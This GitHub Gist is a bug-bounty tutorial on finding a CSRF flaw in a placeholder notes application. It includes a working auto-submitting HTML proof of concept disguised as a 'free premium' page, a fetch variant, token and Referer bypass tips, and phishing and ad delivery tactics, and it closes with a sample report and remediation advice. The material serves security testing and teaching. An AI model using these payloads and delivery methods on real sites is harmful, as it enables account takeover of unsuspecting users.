Skip to content

Instantly share code, notes, and snippets.

@aw-junaid
Created November 23, 2025 13:28
Show Gist options
  • Select an option

  • Save aw-junaid/70d5632e143e6318e01f8e70f6eb715b to your computer and use it in GitHub Desktop.

Select an option

Save aw-junaid/70d5632e143e6318e01f8e70f6eb715b to your computer and use it in GitHub Desktop.

A Practical Walkthrough: Finding a CSRF Vulnerability

Let's imagine our target is a note-taking application: https://notes.example.com.

Step 1: Spot State-Changing Actions

You browse the application and identify actions that change data on the server. These are typically non-GET requests (POST, PUT, PATCH, DELETE).

Prime candidates on notes.example.com:

  • User Profile:
    • POST https://notes.example.com/email/change (Changes account email)
    • POST https://notes.example.com/profile/update (Updates profile info)
  • Note Management:
    • POST https://notes.example.com/notes/create (Creates a new note)
    • POST https://notes.example.com/notes/delete (Deletes a note)
    • POST https://notes.example.com/notes/update (Updates note content)
  • Account Management:
    • POST https://notes.example.com/account/deactivate (Deactivates account)

Best Target for Demo: The email change functionality (/email/change). It's highly sensitive and clearly demonstrates impact.


Step 2: Check for CSRF Protections

Intercept the email change request using Burp Suite or browser developer tools. Let's examine what a typical request might look like:

Request without protection (VULNERABLE):

POST /email/change HTTP/1.1
Host: notes.example.com
Content-Type: application/x-www-form-urlencoded
Cookie: session=cookie_value_here

[email protected]

Now, look for these common protections:

  • CSRF Tokens: Check for a random value in the request

    POST /email/change HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    Cookie: session=cookie_value_here
    
    [email protected]&csrf_token=8a7d9f2b4c6e1a3b5d8f
    • If this token is missing, it's likely vulnerable
    • If present, note how it's validated
  • Custom Headers: Check for headers like:

    X-Requested-With: XMLHttpRequest
    X-CSRF-Token: token_value
    Custom-Header: expected_value
    • Browsers enforce Same-Origin Policy for custom headers
  • SameSite Cookie Attribute: Check the Set-Cookie header

    • SameSite=Strict or SameSite=Lax → Protected against most CSRF
    • SameSite=None or missing → Vulnerable
  • Referer Header Validation: The server might check the Referer header

Result for our example: Let's say the email change endpoint has:

  • No CSRF token
  • No custom headers
  • Session cookie without SameSite attribute
  • No Referer validation

This means it's likely vulnerable to CSRF!


Step 3: Bypass Protections (If Present)

If protections exist, try these bypass techniques:

  • CSRF Token Not Validated: Remove the token or submit an empty value

  • Token Tied to Session: If you can leak the token via XSS, you can use it

  • Referer Check Bypass:

    • Use meta tag to refresh from an allowed domain
    • Use data: URL or about:blank frames
    • Exploit subdomains if validation is weak
  • SameSite=Lax Bypass: Use a GET request (if the action allows GET) or top-level navigation

  • Custom Header Bypass: Use a flash-based request (less common now) or find if the action can be triggered via GET


Step 4: Confirm the Vulnerability

Create a malicious HTML page that automatically submits the request when loaded.

csrf-poc.html

<!DOCTYPE html>
<html>
<head>
    <title>Free Premium Account!</title>
</head>
<body>
    <h1>Claim Your Free Premium Upgrade!</h1>
    <p>Please wait while we process your request...</p>
    
    <!-- Hidden form that auto-submits -->
    <form id="csrfForm" action="https://notes.example.com/email/change" method="POST">
        <input type="hidden" name="new_email" value="[email protected]">
    </form>
    
    <script>
        // Auto-submit the form on page load
        document.getElementById('csrfForm').submit();
    </script>
</body>
</html>

Testing Process:

  1. Log into notes.example.com in your browser with a test account
  2. In the same browser, open the csrf-poc.html file
  3. The form will automatically submit and change the email
  4. Verification: Go back to notes.example.com and check the account email - it should now be [email protected]

Alternative using XMLHttpRequest (for more complex requests):

<script>
fetch('https://notes.example.com/email/change', {
    method: 'POST',
    credentials: 'include',  // Sends cookies
    headers: {'Content-Type': 'application/x-www-form-urlencoded'},
    body: '[email protected]'
});
</script>

Step 5: Delivery Strategies

  • Phishing Campaign: Send emails with links to the malicious page
  • Malicious Ads: Purchase ad space that redirects to your CSRF page
  • XSS Chain: If the site has XSS, use it to execute the CSRF payload
  • Forum Posts: Post "interesting content" that links to your page
  • Comment Sections: Leave comments with your malicious link

Key Advantage: The victim doesn't need to enter any credentials - their existing session is hijacked.


Step 6: Draft Your CSRF Report

Subject: Cross-Site Request Forgery (CSRF) in Email Change Functionality

Vulnerability Type: Cross-Site Request Forgery (CSRF) Target: https://notes.example.com Vulnerable Endpoint: POST https://notes.example.com/email/change Severity: High (leads to account takeover)

Description: The email change functionality at /email/change is vulnerable to Cross-Site Request Forgery attacks. The endpoint lacks CSRF protection mechanisms, allowing an attacker to force logged-in users to change their account email without consent.

Vulnerability Details: The endpoint is missing:

  • CSRF tokens
  • Custom header validation
  • SameSite cookie attributes
  • Referer header validation

Steps to Reproduce:

  1. Log into a notes.example.com account in your browser
  2. Note the current email address in account settings
  3. Open the attached HTML proof-of-concept file (csrf-poc.html) in the same browser
  4. The page will automatically submit a request to change the account email
  5. Return to notes.example.com and check account settings
  6. Observe that the email has been changed to [email protected]

Proof of Concept: [Attach your csrf-poc.html file. A video demonstration is also effective.]

Impact: An attacker can craft a malicious webpage that, when visited by a logged-in notes.example.com user, will:

  • Change the victim's email address to one controlled by the attacker
  • Allow account takeover through password reset functionality
  • Lead to complete compromise of the victim's account and data

Remediation Recommendations:

  1. Implement CSRF Tokens: Generate unique, unpredictable tokens for each session and validate them on state-changing requests
  2. Use SameSite Cookies: Set SameSite=Lax or SameSite=Strict on session cookies
  3. Implement Custom Headers: Require headers like X-Requested-With: XMLHttpRequest for AJAX requests
  4. Referer Validation: Validate the Referer header matches expected origins (as secondary protection)

Additional Notes: Other state-changing endpoints like /profile/update and /notes/delete should also be reviewed for similar vulnerabilities.


Pro Tips for CSRF Hunting:

  • Automate with Tools: Use Burp Suite's CSRF scanner or generate PoCs using Burp's "Engagement tools → Generate CSRF PoC"
  • Check All Methods: Don't just test POST requests - some applications use PUT, PATCH, or even GET for state-changing actions
  • Look for JSON Endpoints: Some modern apps use JSON APIs - test if they accept application/x-www-form-urlencoded or have CORS misconfigurations
  • Chain with Other Bugs: CSRF becomes much more powerful when combined with XSS, open redirects, or login CSRF
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment